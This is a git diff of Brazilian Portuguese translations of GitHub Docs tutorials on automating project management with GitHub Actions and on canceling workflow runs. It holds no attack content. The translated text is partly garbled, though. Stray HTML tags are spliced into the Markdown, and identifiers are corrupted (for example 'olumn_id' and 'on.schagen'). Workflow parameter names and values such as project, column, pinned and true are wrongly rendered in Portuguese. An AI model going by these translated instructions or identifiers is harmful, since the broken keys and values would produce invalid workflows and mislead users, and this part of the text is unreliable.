+- Para saber outras coisas, você pode fazer com a ação `peter-evans/create-or-update-comment`, como adicionar reações, acesse a documentação de ação [`peter-evans/create-or-update-comment`](https://github.com/marketplace/actions/create-or-update-comment).
diff --git a/translations/pt-BR/content/actions/managing-issues-and-pull-requests/index.md b/translations/pt-BR/content/actions/managing-issues-and-pull-requests/index.md
index 8de3865cbd..0dcc65bebb 100644
--- a/translations/pt-BR/content/actions/managing-issues-and-pull-requests/index.md
+++ b/translations/pt-BR/content/actions/managing-issues-and-pull-requests/index.md
@@ -1,7 +1,7 @@
 ---
-title: Managing issues and pull requests
-shortTitle: Managing issues and pull requests
-intro: 'You can automatically manage your issues and pull requests using {% data variables.product.prodname_actions %} workflows.'
+title: Gerenciar problemas e pull requests
+shortTitle: Gerenciar problemas e pull requests
+intro: 'Você pode gerenciar automaticamente seus problemas e pull requests usando fluxos de trabalho de {% data variables.product.prodname_actions %}.'
 versions:
   fpt: '*'
   ghes: '*'
diff --git a/translations/pt-BR/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md b/translations/pt-BR/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md
index 693c78b6c6..2d44b13e3f 100644
--- a/translations/pt-BR/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md
+++ b/translations/pt-BR/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md
@@ -1,6 +1,6 @@
 ---
-title: Moving assigned issues on project boards
-intro: 'You can use {% data variables.product.prodname_actions %} to automatically move an issue to a specific column on a project board when the issue is assigned.'
+title: Transferir problemas atribuídos em quadros de projeto
+intro: 'Você pode usar {% data variables.product.prodname_actions %} para transferir automaticamente um problema para uma coluna específica no quadro de um projeto quando o problema for atribuído.'
 redirect_from:
   - /actions/guides/moving-assigned-issues-on-project-boards
 versions:
@@ -12,24 +12,24 @@ type: tutorial
 topics:
   - Workflows
   - Project management
-shortTitle: Move assigned issues
+shortTitle: Mover problemas atribuídos
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This tutorial demonstrates how to use the [`alex-page/github-project-automation-plus` action](https://github.com/marketplace/actions/github-project-automation) to automatically move an issue to a specific column on a project board when the issue is assigned. For example, when an issue is assigned, you can move it into the `In Progress` column your project board.
+Este tutorial demonstra como usar a ação [`alex-page/github-project-automation-plus`](https://github.com/marketplace/actions/github-project-automation) para transferir automaticamente um problema para uma coluna específica em um quadro de projeto quando o problema for atribuído. Por exemplo, quando um problema é atribuído, você pode transferi-lo para a coluna `em andamento` do seu quadro de projeto.
 
-In the tutorial, you will first make a workflow file that uses the [`alex-page/github-project-automation-plus` action](https://github.com/marketplace/actions/github-project-automation). Then, you will customize the workflow to suit your needs.
+No tutorial, primeiro você vai criar um arquivo de fluxo de trabalho que usa a ação [`alex-page/github-project-automation-plus`](https://github.com/marketplace/actions/github-project-automation). Então, você personalizará o fluxo de trabalho para atender às suas necessidades.
 
-## Creating the workflow
+## Criar o fluxo de trabalho
 
 1. {% data reusables.actions.choose-repo %}
-2. In your repository, choose a project board. You can use an existing project, or you can create a new project. For more information about creating a project, see "[Creating a project board](/github/managing-your-work-on-github/creating-a-project-board)."
+2. No seu repositório, escolha um quadro de projeto. Você pode usar um projeto existente ou criar um novo projeto. Para obter mais informações sobre como criar um projeto, consulte "[Criar um quadro de projeto](/github/managing-your-work-on-github/creating-a-project-board)".
 3. {% data reusables.actions.make-workflow-file %}
-4. Copy the following YAML contents into your workflow file.
+4. Copie o seguinte conteúdo YAML para o arquivo do fluxo de trabalho.
 
     ```yaml{:copy}
 {% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
@@ -50,28 +50,28 @@ In the tutorial, you will first make a workflow file that uses the [`alex-page/g
               repo-token: {% raw %}${{ secrets.PERSONAL_ACCESS_TOKEN }}{% endraw %}
     ```
 
-5. Customize the parameters in your workflow file:
-   - Change the value for `project` to the name of your project board. If you have multiple project boards with the same name, the `alex-page/github-project-automation-plus` action will act on all projects with the specified name.
-   - Change the value for `column` to the name of the column where you want issues to move when they are assigned.
-   - Change the value for `repo-token`:
-     1. Create a personal access token with the `repo` scope. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
-     1. Store this personal access token as a secret in your repository. For more information about storing secrets, see "[Encrypted secrets](/actions/reference/encrypted-secrets)."
-     1. In your workflow file, replace `PERSONAL_ACCESS_TOKEN` with the name of your secret.
+5. Personalize os parâmetros no seu arquivo do fluxo de trabalho:
+   - Altere o valor do `projeto` para o nome do seu quadro de projetos. Se você tiver vários projetos com o mesmo nome, a ação `alex-page/github-project-automation-plus` atuará em todos os projetos com o nome especificado.
+   - Altere o valor da `coluna` para o nome da coluna onde você deseja que os problemas sejam transferidos quando forem atribuídos.
+   - Altere o valor para `repo-token`:
+     1. Crie um token de acesso pessoal com o escopo do </code>repositório`. Para mais informação, consulte "<a href="/github/authenticating-to-github/creating-a-personal-access-token">Criando um token de acesso pessoal</a>."</li>
+<li>Armazene este token de acesso pessoal como um segredo no seu repositório. Para obter mais informações sobre o armazenamento de segredos, consulte "<a href="/actions/reference/encrypted-secrets">Segredos criptografados</a>".</li>
+<li>No seu arquivo do fluxo de trabalho, substitua <code>PERSONAL_ACCESS_TOKEN` pelo nome do seu segredo.
 6. {% data reusables.actions.commit-workflow %}
 
-## Testing the workflow
+## Testar o fluxo de trabalho
 
-Whenever an issue in your repository is assigned, the issue will be moved to the specified project board column. If the issue is not already on the project board, it will be added to the project board.
+Sempre que um problema no seu repositório for atribuído, o problema será transferido para a coluna do quadro de projeto especificado. Se o problema não estiver já no quadro de projeto, ele será adicionado ao quadro de projeto.
 
-If your repository is user-owned, the `alex-page/github-project-automation-plus` action will act on all projects in your repository or user account that have the specified project name and column. Likewise, if your repository is organization-owned, the action will act on all projects in your repository or organization that have the specified project name and column.
+Se o repositório pertencer a um usuário, a ação `alex-page/github-project-automation-plus` atuará em todos os projetos no seu repositório ou conta de usuário que têm o nome e a coluna especificados. Da mesma forma, se o repositório pertencer a uma organização, a ação atuará sobre todos os projetos do seu repositório ou organização que têm o nome e a coluna especificados.
 
-Test your workflow by assigning an issue in your repository.
+Teste seu fluxo de trabalho atribuindo um problema no seu repositório.
 
-1. Open an issue in your repository. For more information, see "[Creating an issue](/github/managing-your-work-on-github/creating-an-issue)."
-2. Assign the issue. For more information, see "[Assigning issues and pull requests to other GitHub users](/github/managing-your-work-on-github/assigning-issues-and-pull-requests-to-other-github-users)."
-3. To see the workflow run that assigning the issue triggered, view the history of your workflow runs. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
-4. When the workflow completes, the issue that you assigned should be added to the specified project board column.
+1. Abra um problema no seu repositório. Para obter mais informações, consulte "[Criar um problema](/github/managing-your-work-on-github/creating-an-issue)".
+2. Atribuir o problema. Para obter mais informações, consulte "[Atribuir problemas e pull requests a outros usuários do GitHub](/github/managing-your-work-on-github/assigning-issues-and-pull-requests-to-other-github-users)".
+3. Para ver a execução do fluxo de trabalho que atribui o problema acionado, visualize o histórico da execução do fluxo de trabalho. Para obter mais informações, consulte "[Visualizar histórico de execução de fluxo de trabalho](/actions/managing-workflow-runs/viewing-workflow-run-history)".
+4. Quando o fluxo de trabalho é concluído, o problema que você atribuiu deverá ser adicionado à coluna do quadro de projeto especificado.
 
-## Next steps
+## Próximas etapas
 
-- To learn more about additional things you can do with the `alex-page/github-project-automation-plus` action, like deleting or archiving project cards, visit the [`alex-page/github-project-automation-plus` action documentation](https://github.com/marketplace/actions/github-project-automation).
+- Para saber outras coisas que você pode fazer com a ação `alex-page/github-project-automation-plus`, como excluir ou arquivar cartões do projeto, acesse a documentação da ação [`alex-page/github-project-automation-plus`](https://github.com/marketplace/actions/github-project-automation).
diff --git a/translations/pt-BR/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md b/translations/pt-BR/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md
index d28c687f5a..07d5deb1eb 100644
--- a/translations/pt-BR/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md
+++ b/translations/pt-BR/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md
@@ -1,6 +1,6 @@
 ---
-title: Removing a label when a card is added to a project board column
-intro: 'You can use {% data variables.product.prodname_actions %} to automatically remove a label when an issue or pull request is added to a specific column on a project board.'
+title: Remover uma etiqueta quando um cartão é adicionado à coluna de um quadro de projeto
+intro: 'Você pode usar {% data variables.product.prodname_actions %} para remover automaticamente uma etiqueta quando um problema ou pull request for adicionado a uma coluna específica no quadro de um projeto.'
 redirect_from:
   - /actions/guides/removing-a-label-when-a-card-is-added-to-a-project-board-column
 versions:
@@ -12,24 +12,24 @@ type: tutorial
 topics:
   - Workflows
   - Project management
-shortTitle: Remove label when adding card
+shortTitle: Remover etiqueta ao adicionar cartão
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This tutorial demonstrates how to use the [`andymckay/labeler` action](https://github.com/marketplace/actions/simple-issue-labeler) along with a conditional to remove a label from issues and pull requests that are added to a specific column on a project board. For example, you can remove the `needs review` label when project cards are moved into the `Done` column.
+Este tutorial demonstra como usar a ação [`andymckay/labeler`](https://github.com/marketplace/actions/simple-issue-labeler) junto com uma condicional para remover uma etiqueta dos problemas e pull requests que são adicionados a uma coluna específica em um quadro de um projeto. Por exemplo, você pode remover a etiqueta `precisa de revisão` quando os cartões do projeto forem transferidos para a coluna `Concluído`.
 
-In the tutorial, you will first make a workflow file that uses the [`andymckay/labeler` action](https://github.com/marketplace/actions/simple-issue-labeler). Then, you will customize the workflow to suit your needs.
+No tutorial, primeiro você criará um arquivo de fluxo de trabalho que usa a ação [`andymckay/labeler`](https://github.com/marketplace/actions/simple-issue-labeler). Então, você personalizará o fluxo de trabalho para atender às suas necessidades.
 
-## Creating the workflow
+## Criar o fluxo de trabalho
 
 1. {% data reusables.actions.choose-repo %}
-2. Choose a project that belongs to the repository. This workflow cannot be used with projects that belong to users or organizations. You can use an existing project, or you can create a new project. For more information about creating a project, see "[Creating a project board](/github/managing-your-work-on-github/creating-a-project-board)."
+2. Escolha um projeto que pertence ao repositório. Este fluxo de trabalho não pode ser usado com projetos que pertencem a usuários ou organizações. Você pode usar um projeto existente ou criar um novo projeto. Para obter mais informações sobre como criar um projeto, consulte "[Criar um quadro de projeto](/github/managing-your-work-on-github/creating-a-project-board)".
 3. {% data reusables.actions.make-workflow-file %}
-4. Copy the following YAML contents into your workflow file.
+4. Copie o seguinte conteúdo YAML para o arquivo do fluxo de trabalho.
 
     ```yaml{:copy}
 {% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
@@ -54,28 +54,28 @@ In the tutorial, you will first make a workflow file that uses the [`andymckay/l
               repo-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
     ```
 
-5. Customize the parameters in your workflow file:
-   - In `github.event.project_card.column_id == '12345678'`, replace `12345678` with the ID of the column where you want to un-label issues and pull requests that are moved there.
+5. Personalize os parâmetros no seu arquivo do fluxo de trabalho:
+   - Em `github.event.project_card. olumn_id == '12345678'`, substitua `12345678` pelo ID da coluna em que você deseja desetiquetar os problemas e os pull requests que são transferidos para lá.
 
-    To find the column ID, navigate to your project board. Next to the title of the column, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} then click **Copy column link**. The column ID is the number at the end of the copied link. For example, `24687531` is the column ID for `https://github.com/octocat/octo-repo/projects/1#column-24687531`.
+    Para encontrar o ID da coluna, acesse o seu quadro de projetos. Ao lado do título da coluna, clique em {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} e, em seguida, clique em **Copiar link da coluna**. O ID da coluna é o número no final do link copiado. Por exemplo, `24687531` é o ID da coluna para `https://github.com/octocat/octo-repo/projects/1#column-24687531`.
 
-     If you want to act on more than one column, separate the conditions with `||`. For example, `if github.event.project_card.column_id == '12345678' || github.event.project_card.column_id == '87654321'` will act whenever a project card is added to column `12345678` or column `87654321`. The columns may be on different project boards.
-   - Change the value for `remove-labels` to the list of labels that you want to remove from issues or pull requests that are moved to the specified column(s). Separate multiple labels with commas. For example, `"help wanted, good first issue"`. For more information on labels, see "[Managing labels](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)."
+     Se você desejar atuar em mais de uma coluna, separe as condições com `||`. Por exemplo, `if github.event.project_card.column_id == '12345678' || github.event.project_card.column_id == '87654321'` irá agir sempre que um cartão de projeto for adicionado à coluna `12345678` ou à coluna `87654321`. As colunas podem estar em diferentes quadros de projetos.
+   - Altere o valor para `remove-labels` para a lista de etiquetas que deseja remover dos problemas ou pull requests que são transferidos para a(s) coluna(s) especificada(s). Separe etiquetas múltiplas com vírgulas. Por exemplo, `"help wanted, good first issue"`. Para obter mais informações sobre etiquetas, consulte "[Gerenciar etiquetas](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)".
 6. {% data reusables.actions.commit-workflow %}
 
-## Testing the workflow
+## Testar o fluxo de trabalho
 
-Every time a project card on a project in your repository moves, this workflow will run. If the card is an issue or a pull request and is moved into the column that you specified, then the workflow will remove the specified labels from the issue or a pull request. Cards that are notes will not be affected.
+Cada vez que um cartão de projeto em um projeto no seu repositório for transferido, este fluxo de trabalho será executado. Se o cartão for um problema ou uma pull request e for movido para a coluna especificada, o fluxo de trabalho removerá os rótulos especificados do problema ou de um pull request. Os cartões que são observações que não serão afetadas.
 
-Test your workflow out by moving an issue on your project into the target column.
+Teste o seu fluxo de trabalho transferindo um problema no seu projeto para a coluna de destino.
 
-1. Open an issue in your repository. For more information, see "[Creating an issue](/github/managing-your-work-on-github/creating-an-issue)."
-2. Label the issue with the labels that you want the workflow to remove. For more information, see "[Managing labels](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)."
-3. Add the issue to the project column that you specified in your workflow file. For more information, see "[Adding issues and pull requests to a project board](/github/managing-your-work-on-github/adding-issues-and-pull-requests-to-a-project-board)."
-4. To see the workflow run that was triggered by adding the issue to the project, view the history of your workflow runs. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
-5. When the workflow completes, the issue that you added to the project column should have the specified labels removed.
+1. Abra um problema no seu repositório. Para obter mais informações, consulte "[Criar um problema](/github/managing-your-work-on-github/creating-an-issue)".
+2. Etiquete o problema com as etiquetas que deseja que o fluxo de trabalho remova. Para obter mais informações, consulte "[Gerenciar etiquetas](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)".
+3. Adicione um problema na coluna do projeto que você especificou no arquivo do fluxo de trabalho. Para obter mais informações, consulte "[Adicionar problemas e pull requests a um quadro de projeto](/github/managing-your-work-on-github/adding-issues-and-pull-requests-to-a-project-board)".
+4. Para ver a execução do fluxo de trabalho que foi acionada adicionando o problema ao projeto, visualize o histórico da execução do seu fluxo de trabalho. Para obter mais informações, consulte "[Visualizar histórico de execução de fluxo de trabalho](/actions/managing-workflow-runs/viewing-workflow-run-history)".
+5. Quando o fluxo de trabalho é concluído, o problema que você adicionou na coluna do projeto deve ter as etiquetas especificadas removidos.
 
-## Next steps
+## Próximas etapas
 
-- To learn more about additional things you can do with the `andymckay/labeler` action, like adding labels or skipping this action if the issue is assigned or has a specific label, visit the [`andymckay/labeler` action documentation](https://github.com/marketplace/actions/simple-issue-labeler).
-- [Search GitHub](https://github.com/search?q=%22uses:+andymckay/labeler%22&type=code) for examples of workflows using this action.
+- Para saber mais sobre coisas adicionais que você pode fazer com a ação `andymckay/labeler`, como adicionar etiquetas ou ignorar esta ação se o problema for atribuído ou tiver uma etiqueta específica, acesse o a documentação da ação [`andymckay/labeler`](https://github.com/marketplace/actions/simple-issue-labeler).
+- [Pesquise no GitHub](https://github.com/search?q=%22uses:+andymckay/labeler%22&type=code) exemplos de fluxos de trabalho que usam esta ação.
diff --git a/translations/pt-BR/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md b/translations/pt-BR/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md
index eb41b3c838..e400879115 100644
--- a/translations/pt-BR/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md
+++ b/translations/pt-BR/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md
@@ -1,6 +1,6 @@
 ---
-title: Scheduling issue creation
-intro: 'You can use {% data variables.product.prodname_actions %} to create an issue on a regular basis for things like daily meetings or quarterly reviews.'
+title: Agendar a criação de problemas
+intro: 'Você pode usar {% data variables.product.prodname_actions %} para criar um problema regularmente para coisas como reuniões diárias ou revisões trimestrais.'
 redirect_from:
   - /actions/guides/scheduling-issue-creation
 versions:
@@ -17,17 +17,17 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This tutorial demonstrates how to use the [`imjohnbo/issue-bot` action](https://github.com/marketplace/actions/issue-bot-action) to create an issue on a regular basis. For example, you can create an issue each week to use as the agenda for a team meeting.
+Este tutorial demonstra como usar a ação [`imjohnbo/issue-bot`](https://github.com/marketplace/actions/issue-bot-action) para criar um problema regularmente. Por exemplo, você pode criar um problema toda semana para usar como agenda para uma reunião de equipe.
 
-In the tutorial, you will first make a workflow file that uses the [`imjohnbo/issue-bot` action](https://github.com/marketplace/actions/issue-bot-action). Then, you will customize the workflow to suit your needs.
+No tutorial, primeiro você vai criar um arquivo de fluxo de trabalho que usa a ação [`imjohnbo/issue-bot`](https://github.com/marketplace/actions/issue-bot-action). Então, você personalizará o fluxo de trabalho para atender às suas necessidades.
 
-## Creating the workflow
+## Criar o fluxo de trabalho
 
 1. {% data reusables.actions.choose-repo %}
 2. {% data reusables.actions.make-workflow-file %}
-3. Copy the following YAML contents into your workflow file.
+3. Copie o seguinte conteúdo YAML para o arquivo do fluxo de trabalho.
 
     ```yaml{:copy}
 {% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
@@ -57,7 +57,7 @@ In the tutorial, you will first make a workflow file that uses the [`imjohnbo/is
                 - [ ] Check-ins
                 - [ ] Discussion points
                 - [ ] Post the recording
-                        
+
                 ### Discussion Points
                 Add things to discuss below
 
@@ -68,25 +68,26 @@ In the tutorial, you will first make a workflow file that uses the [`imjohnbo/is
               GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
     ```
 
-4. Customize the parameters in your workflow file:
-   - Change the value for `on.schedule` to dictate when you want this workflow to run. In the example above, the workflow will run every Monday at 7:20 UTC. For more information about scheduled workflows, see "[Scheduled events](/actions/reference/events-that-trigger-workflows#scheduled-events)."
-   - Change the value for `assignees` to the list of {% data variables.product.prodname_dotcom %} usernames that you want to assign to the issue.
-   - Change the value for `labels` to the list of labels that you want to apply to the issue.
-   - Change the value for `title` to the title that you want the issue to have.
-   - Change the value for `body` to the text that you want in the issue body. The `|` character allows you to use a multi-line value for this parameter.
-   - If you want to pin this issue in your repository, set `pinned` to `true`. For more information about pinned issues, see "[Pinning an issue to your repository](/articles/pinning-an-issue-to-your-repository)."
-   - If you want to close the previous issue generated by this workflow each time a new issue is created, set `close-previous` to `true`. The workflow will close the most recent issue that has the labels defined in the `labels` field. To avoid closing the wrong issue, use a unique label or combination of labels.
+4. Personalize os parâmetros no seu arquivo do fluxo de trabalho:
+   - Altere o valor de `on.schagen` para ditar quando você deseja que este fluxo de trabalho seja executado. No exemplo acima, o fluxo de trabalho será executado todas as segundas às 7h20 UTC. Para obter mais informações sobre fluxos de trabalho agendados, consulte "[Eventos agendados](/actions/reference/events-that-trigger-workflows#scheduled-events)".
+   - Altere o valor de `responsáveis` para a lista de nomes de usuário de {% data variables.product.prodname_dotcom %} que você deseja atribuir ao problema.
+   - Altere o valor das etiquetas de `` para a lista de etiquetas que você deseja aplicar ao problema.
+   - Altere o valor do `título` para o título que você deseja que o problema tenha.
+   - Altere o valor do `texto` para o texto que você quer no texto do problema. O caractere `|` permite que você use um valor de linhas múltiplas para este parâmetro.
+   - Se quiser fixar este problema no seu repositório, defina `fixado` como `verdadeiro`. Para obter mais informações sobre problemas fixos, consulte "[Fixar um problema no seu repositório](/articles/pinning-an-issue-to-your-repository)".
+   - Se você deseja fechar o problema anterior gerado por este fluxo de trabalho, cada vez que um novo problema for criado, defina `close-previous` como `verdadeiro`. O fluxo de trabalho fechará o problema mais recente que tem as etiquetas definidas no campo de `etiquetas`. Para evitar o fechamento do problema errado, use uma etiqueta exclusiva ou uma combinação de etiquetas.
 5. {% data reusables.actions.commit-workflow %}
 
-## Expected results
+## Resultados esperados
 
-Based on the `schedule` parameter (for example, every Monday at 7:20 UTC), your workflow will create a new issue with the assignees, labels, title, and body that you specified. If you set `pinned` to `true`, the workflow will pin the issue to your repository. If you set `close-previous` to true, the workflow will close the most recent issue with matching labels.
+Baseado no parâmetro `agendar` (por exemplo, toda segunda-feira às 7h20 UTC), seu fluxo de trabalho criará um novo problema com os responsáveis, etiquetas, título e texto que você especificou. Se você definir `fixado` como `verdadeiro`, o fluxo de trabalho irá fixar o problema no repositório. Se você definir `close-previous` como verdadeiro, o fluxo de trabalho fechará o problema mais recente com etiquetas correspondentes.
 
 {% data reusables.actions.schedule-delay %}
 
-You can view the history of your workflow runs to see this workflow run periodically. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
+Você pode visualizar o histórico de execução do fluxo de trabalho para ver a execução deste fluxo de trabalho periodicamente. Para obter mais informações, consulte "[Visualizar histórico de execução de fluxo de trabalho](/actions/managing-workflow-runs/viewing-workflow-run-history)".
 
-## Next steps
+## Próximas etapas
 
-- To learn more about additional things you can do with the `imjohnbo/issue-bot` action, like rotating assignees or using an issue template, see the [`imjohnbo/issue-bot` action documentation](https://github.com/marketplace/actions/issue-bot-action).
-- [Search GitHub](https://github.com/search?q=%22uses%3A+imjohnbo%2Fissue-bot%22&type=code) for examples of workflows using this action.
+- Para saber mais sobre coisas adicionais que você pode fazer com a ação `imjohnbo/issue-bot`, como girar responsáveis ou usar um modelo de problema, consulte a</code> documentação da ação imjohnbo/issue-bot</a>.</li>
+<li><a href="https://github.com/search?q=%22uses%3A+imjohnbo%2Fissue-bot%22&type=code">Pesquise no GitHub</a> exemplos de fluxos de trabalho que usam esta ação.</li>
+</ul>
diff --git a/translations/pt-BR/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md b/translations/pt-BR/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md
index 6214081a66..1d37f4dbcc 100644
--- a/translations/pt-BR/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md
+++ b/translations/pt-BR/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md
@@ -1,6 +1,6 @@
 ---
-title: Using GitHub Actions for project management
-intro: 'You can use {% data variables.product.prodname_actions %} to automate many of your project management tasks.'
+title: Usar o GitHub Actions para gerenciamento de projetos
+intro: 'Você pode usar {% data variables.product.prodname_actions %} para automatizar muitas das suas tarefas de gerenciamento de projeto.'
 redirect_from:
   - /actions/guides/using-github-actions-for-project-management
 versions:
@@ -11,34 +11,34 @@ versions:
 type: overview
 topics:
   - Project management
-shortTitle: Actions for project management
+shortTitle: Ações para gerenciamento de projetos
 ---
 
 
-You can use {% data variables.product.prodname_actions %} to automate your project management tasks by creating workflows. Each workflow contains a series of tasks that are performed automatically every time the workflow runs. For example, you can create a workflow that runs every time an issue is created to add a label, leave a comment, and move the issue onto a project board.
+Você pode usar {% data variables.product.prodname_actions %} para automatizar suas tarefas de gerenciamento de projeto, criando fluxos de trabalho. Cada fluxo de trabalho contém uma série de tarefas que são executadas automaticamente toda vez que o fluxo de trabalho é executado. Por exemplo, você pode criar um fluxo de trabalho que é executado toda vez que um problema é criado para adicionar uma etiqueta, deixar um comentário e transferir um problema para um quadro de projeto.
 
-## When do workflows run?
+## Quando os fluxos de trabalho são executados?
 
-You can configure your workflows to run on a schedule or be triggered when an event occurs. For example, you can set your workflow to run when someone creates an issue in a repository.
+Você pode configurar seus fluxos de trabalho para ser executado em um cronograma ou serem acionados quando um evento ocorre. Por exemplo, você pode definir o fluxo de trabalho para ser executado quando alguém cria um problema em um repositório.
 
-Many workflow triggers are useful for automating project management.
+Muitos gatilhos de fluxo de trabalho são úteis para automatizar o gerenciamento do projeto.
 
-- An issue is opened, assigned, or labeled.
-- A comment is added to an issue.
-- A project card is created or moved.
-- A scheduled time.
+- Um problema é aberta, atribuído ou etiquetado.
+- Um comentário é adicionado a um problema.
+- Um cartão de projeto foi criado ou transferido.
+- Um horário agendado.
 
-For a full list of events that can trigger workflows, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."
+Para uma lista completa de eventos que podem acionar fluxos de trabalho, consulte "[Eventos que acionam fluxos de trabalho](/actions/reference/events-that-trigger-workflows)".
 
-## What can workflows do?
+## O que os fluxos de trabalho podem fazer?
 
-Workflows can do many things, such as commenting on an issue, adding or removing labels, moving cards on project boards, and opening issues.
+Os fluxos de trabalho podem fazer muitas coisas como, por exemplo, comentar em um problema, adicionar ou remover etiquetas, mover cartões nos quadros do projeto e abrir problemas.
 
-You can learn about using {% data variables.product.prodname_actions %} for project management by following these tutorials, which include example workflows that you can adapt to meet your needs.
+Você pode aprender sobre como usar {% data variables.product.prodname_actions %} para gerenciamento de projetos seguindo esses tutoriais, que incluem fluxos de trabalho de exemplo que você pode adaptar para atender às suas necessidades.
 
-- "[Adding labels to issues](/actions/guides/adding-labels-to-issues)"
-- "[Removing a label when a card is added to a project board column](/actions/guides/removing-a-label-when-a-card-is-added-to-a-project-board-column)"
-- "[Moving assigned issues on project boards](/actions/guides/moving-assigned-issues-on-project-boards)"
-- "[Commenting on an issue when a label is added](/actions/guides/commenting-on-an-issue-when-a-label-is-added)"
-- "[Closing inactive issues](/actions/guides/closing-inactive-issues)"
-- "[Scheduling issue creation](/actions/guides/scheduling-issue-creation)"
+- "[Adicionar etiquetas a problemas](/actions/guides/adding-labels-to-issues)"
+- "[Remover uma etiqueta quando um cartão é adicionado à coluna do quadro de projeto](/actions/guides/removing-a-label-when-a-card-is-added-to-a-project-board-column)"
+- "[Transferir problemas atribuídos em quadros de projeto](/actions/guides/moving-assigned-issues-on-project-boards)"
+- "[Comentar em um problema quando uma etiqueta é adicionada](/actions/guides/commenting-on-an-issue-when-a-label-is-added)"
+- "[Fechar problemas inativos](/actions/guides/closing-inactive-issues)"
+- "[Agendar a criação de problemas](/actions/guides/scheduling-issue-creation)"
diff --git a/translations/pt-BR/content/actions/managing-workflow-runs/canceling-a-workflow.md b/translations/pt-BR/content/actions/managing-workflow-runs/canceling-a-workflow.md
index f976787c52..0254792071 100644
--- a/translations/pt-BR/content/actions/managing-workflow-runs/canceling-a-workflow.md
+++ b/translations/pt-BR/content/actions/managing-workflow-runs/canceling-a-workflow.md
@@ -1,6 +1,6 @@
 ---
-title: Canceling a workflow
-intro: 'You can cancel a workflow run that is in progress. When you cancel a workflow run, {% data variables.product.prodname_dotcom %} cancels all jobs and steps that are a part of that workflow.'
+title: Cancelar um fluxo de trabalho
+intro: 'Você pode cancelar a execução de um fluxo de trabalho em andamento. Ao cancelar a execução de um fluxo de trabalho, o {% data variables.product.prodname_dotcom %} cancela todos os trabalhos e as etapas que integram esse fluxo de trabalho.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -13,26 +13,25 @@ versions:
 
 {% data reusables.repositories.permissions-statement-write %}
 
-## Canceling a workflow run
+## Cancelar a execução do fluxo de trabalho
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow %}
-1. From the list of workflow runs, click the name of the `queued` or `in progress` run that you want to cancel.
-![Name of workflow run](/assets/images/help/repository/in-progress-run.png)
-1. In the upper-right corner of the workflow, click **Cancel workflow**.
+1. Na lista de execuções do fluxo de trabalho, clique no nome da execução em estado `queued` ou `em progresso` que você deseja cancelar. ![Nome da execução do fluxo de trabalho](/assets/images/help/repository/in-progress-run.png)
+1. No canto superior direito do fluxo de trabalho, clique em **Cancelar fluxo de trabalho**.
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
- ![Cancel check suite button](/assets/images/help/repository/cancel-check-suite-updated.png)
+ ![Botão Cancel check suite (Cancelar conjunto de verificações)](/assets/images/help/repository/cancel-check-suite-updated.png)
 {% else %}
- ![Cancel check suite button](/assets/images/help/repository/cancel-check-suite.png)
+ ![Botão Cancel check suite (Cancelar conjunto de verificações)](/assets/images/help/repository/cancel-check-suite.png)
 {% endif %}
 
-## Steps {% data variables.product.prodname_dotcom %} takes to cancel a workflow run
+## Etapas que o {% data variables.product.prodname_dotcom %} realiza para cancelar uma execução de fluxo de trabalho
 
-When canceling workflow run, you may be running other software that uses resources that are related to the workflow run. To help you free up resources related to the workflow run, it may help to understand the steps {% data variables.product.prodname_dotcom %} performs to cancel a workflow run.
+Ao cancelar a execução do fluxo de trabalho, você poderá estar executando outro software que utiliza recursos relacionados à execução do fluxo de trabalho. Para ajudar você a liberar recursos relacionados à execução do fluxo de trabalho, pode ser útil entender as etapas que {% data variables.product.prodname_dotcom %} realiza para cancelar a execução de um fluxo de trabalho.
 
-1. To cancel the workflow run, the server re-evaluates `if` conditions for all currently running jobs. If the condition evaluates to `true`, the job will not get canceled. For example, the condition `if: always()` would evaluate to true and the job continues to run. When there is no condition, that is the equivalent of the condition `if: success()`, which only runs if the previous step finished successfully.
